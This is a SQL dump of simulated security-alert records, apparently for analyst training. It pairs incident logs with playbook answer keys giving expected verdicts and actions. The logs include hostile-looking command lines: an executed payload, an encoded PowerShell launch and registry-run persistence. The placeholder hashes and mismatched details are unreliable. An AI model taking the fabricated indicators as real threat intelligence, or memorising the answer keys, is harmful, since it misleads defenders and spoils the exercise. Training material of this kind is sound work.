(550, 'Sensitive Data Exfiltration in Progress', 'critical', 'Data Loss Prevention (DLP) Logs', 'The malware has initiated a covert data exfiltration process, leveraging screen capture and audio recording modules to gather intelligence. This activity was detected as sensitive files were being transmitted to an external command and control server.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-24T14:32:56Z\",\"event_id\":\"DLP-EXFIL-001\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.42\",\"file_name\":\"confidential_project.pptx\",\"file_hash\":\"a1b2c3d4e5f678901234567890abcdef12345678\",\"user\":\"jdoe\",\"process_name\":\"malware_exfil.exe\",\"process_hash\":\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\",\"protocol\":\"HTTPS\",\"action\":\"File Transfer\",\"detection_method\":\"Screen Capture and Audio Recording Modules\"}', '2026-01-07 22:33:18', '2026-02-16 18:18:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f678901234567890abcdef12345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware executable.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_project.pptx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Data Loss Prevention\",\"verdict\":\"sensitive\",\"details\":\"File tagged as containing sensitive information.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.175Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:56Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"file_name\\\":\\\"confidential_project.pptx\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef12345678\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"malware_exfil.exe\\\",\\\"process_hash\\\":\\\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_method\\\":\\\"Screen Capture and Audio Recording Modules\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.175Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:56Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"file_name\\\":\\\"confidential_project.pptx\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef12345678\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"malware_exfil.exe\\\",\\\"process_hash\\\":\\\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_method\\\":\\\"Screen Capture and Audio Recording Modules\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.175Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:56Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"file_name\\\":\\\"confidential_project.pptx\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef12345678\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"malware_exfil.exe\\\",\\\"process_hash\\\":\\\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_method\\\":\\\"Screen Capture and Audio Recording Modules\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.175Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:56Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"file_name\\\":\\\"confidential_project.pptx\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef12345678\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"malware_exfil.exe\\\",\\\"process_hash\\\":\\\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_method\\\":\\\"Screen Capture and Audio Recording Modules\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.175Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:56Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"file_name\\\":\\\"confidential_project.pptx\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef12345678\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"malware_exfil.exe\\\",\\\"process_hash\\\":\\\"b2c3d4e5f6789012a1b2c3d4e5f6789012345678\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_method\\\":\\\"Screen Capture and Audio Recording Modules\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(551, 'Suspicious Initial Access Detected', 'medium', 'Email Gateway Logs', 'A spear-phishing email was detected targeting an engineer\'s workstation. The email contains a malicious attachment likely aimed at compromising the system.', 'Spear Phishing', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T08:45:23Z\",\"email_id\":\"12345abcde\",\"subject\":\"Project Timeline Update\",\"sender\":\"john.doe@trustedsource.com\",\"recipient\":\"engineer@targetcompany.com\",\"attachment_name\":\"Project_Timeline_Update.docx\",\"attachment_hash\":\"3b1d5a9c5e9f6a8d8f0c4e2a7d3f9a5b\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.1.15\",\"action\":\"Delivered\",\"malware_detected\":true,\"malware_name\":\"APT_Equation_Backdoor\"}', '2026-01-07 22:35:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the engineer\'s workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b1d5a9c5e9f6a8d8f0c4e2a7d3f9a5b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the APT_Equation_Backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"john.doe@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in previous phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"Project_Timeline_Update.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Attachment Analysis\",\"verdict\":\"malicious\",\"details\":\"Document contains macros that execute malicious code.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Initial Access Detected\",\"date\":\"2026-02-01T20:32:22.176Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(552, 'Malicious Code Execution Alert', 'high', 'Endpoint Detection and Response', 'A malicious payload was executed on a compromised system which installs a rootkit, preparing for the next phase of the attack.', 'Code Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:34Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"process_name\":\"cmd.exe\",\"process_command_line\":\"cmd.exe /c C:\\\\Windows\\\\System32\\\\malicious_payload.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"malicious_payload.exe\",\"action\":\"Executed\",\"severity\":\"high\",\"description\":\"Malicious payload executed on endpoint\"}', '2026-01-07 22:35:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised system\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Malware file associated with known attack vectors\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"SHA256 hash identified as malicious by multiple AV engines\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(553, 'Rootkit Establishes Persistence', 'high', 'System Registry and Scheduled Tasks', 'A rootkit has been detected establishing persistence on the compromised system. It has modified system registry keys and created scheduled tasks to ensure its presence even after system reboots. The rootkit utilizes known persistence techniques to maintain long-term access.', 'Persistence Mechanism', 'T1547', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"system\":{\"computer\":\"compromised-machine.local\",\"user\":\"j.doe\",\"ip_address\":\"10.0.2.15\"},\"registry_changes\":[{\"key\":\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"maliciousStartup\",\"data\":\"C:\\\\Windows\\\\system32\\\\malicious.exe\"}],\"scheduled_tasks\":[{\"task_name\":\"UpdateService\",\"action\":\"C:\\\\Windows\\\\system32\\\\malicious.exe\",\"trigger\":\"Logon\"}],\"network\":{\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"}}', '2026-01-07 22:35:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with prior attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with rootkit.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account on the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"compromised-machine.local\\\",\\\"user\\\":\\\"j.doe\\\",\\\"ip_address\\\":\\\"10.0.2.15\\\"},\\\"registry_changes\\\":[{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"maliciousStartup\\\",\\\"data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\"}],\\\"scheduled_tasks\\\":[{\\\"task_name\\\":\\\"UpdateService\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Logon\\\"}],\\\"network\\\":{\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"compromised-machine.local\\\",\\\"user\\\":\\\"j.doe\\\",\\\"ip_address\\\":\\\"10.0.2.15\\\"},\\\"registry_changes\\\":[{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"maliciousStartup\\\",\\\"data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\"}],\\\"scheduled_tasks\\\":[{\\\"task_name\\\":\\\"UpdateService\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Logon\\\"}],\\\"network\\\":{\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"compromised-machine.local\\\",\\\"user\\\":\\\"j.doe\\\",\\\"ip_address\\\":\\\"10.0.2.15\\\"},\\\"registry_changes\\\":[{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"maliciousStartup\\\",\\\"data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\"}],\\\"scheduled_tasks\\\":[{\\\"task_name\\\":\\\"UpdateService\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Logon\\\"}],\\\"network\\\":{\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"compromised-machine.local\\\",\\\"user\\\":\\\"j.doe\\\",\\\"ip_address\\\":\\\"10.0.2.15\\\"},\\\"registry_changes\\\":[{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"maliciousStartup\\\",\\\"data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\"}],\\\"scheduled_tasks\\\":[{\\\"task_name\\\":\\\"UpdateService\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Logon\\\"}],\\\"network\\\":{\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"compromised-machine.local\\\",\\\"user\\\":\\\"j.doe\\\",\\\"ip_address\\\":\\\"10.0.2.15\\\"},\\\"registry_changes\\\":[{\\\"key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"maliciousStartup\\\",\\\"data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\"}],\\\"scheduled_tasks\\\":[{\\\"task_name\\\":\\\"UpdateService\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Logon\\\"}],\\\"network\\\":{\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(554, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'Using dumped credentials, the attacker moves laterally through the network, targeting systems connected to industrial control networks.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:30Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"SMB\",\"username\":\"admin_jdoe\",\"filename\":\"credentials.dmp\",\"hash\":\"f2c7e6c6f8e5b6a5c4d9e8a6b3c7f1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8\",\"action\":\"Successful Login\",\"log_id\":\"123456789\"}', '2026-01-07 22:35:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with credential dumping operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the target system within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Valid network administrator account.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"credentials.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"File associated with credential dumping activity.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"f2c7e6c6f8e5b6a5c4d9e8a6b3c7f1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a credential dumping tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(555, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention', 'A data exfiltration attempt was detected involving critical industrial control system information. The attacker utilized a known malware to transfer files to an external IP address.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:55:32Z\",\"event_id\":\"DLP-2023-1025-0001\",\"source_ip\":\"192.168.15.45\",\"destination_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"filename\":\"ICS_critical_data.zip\",\"action\":\"block\",\"protocol\":\"HTTPS\",\"outcome\":\"success\",\"description\":\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\"}', '2026-01-07 22:35:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with known exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ICS_critical_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of targeted ICS data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised to facilitate data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:55:32Z\\\",\\\"event_id\\\":\\\"DLP-2023-1025-0001\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ICS_critical_data.zip\\\",\\\"action\\\":\\\"block\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outcome\\\":\\\"success\\\",\\\"description\\\":\\\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 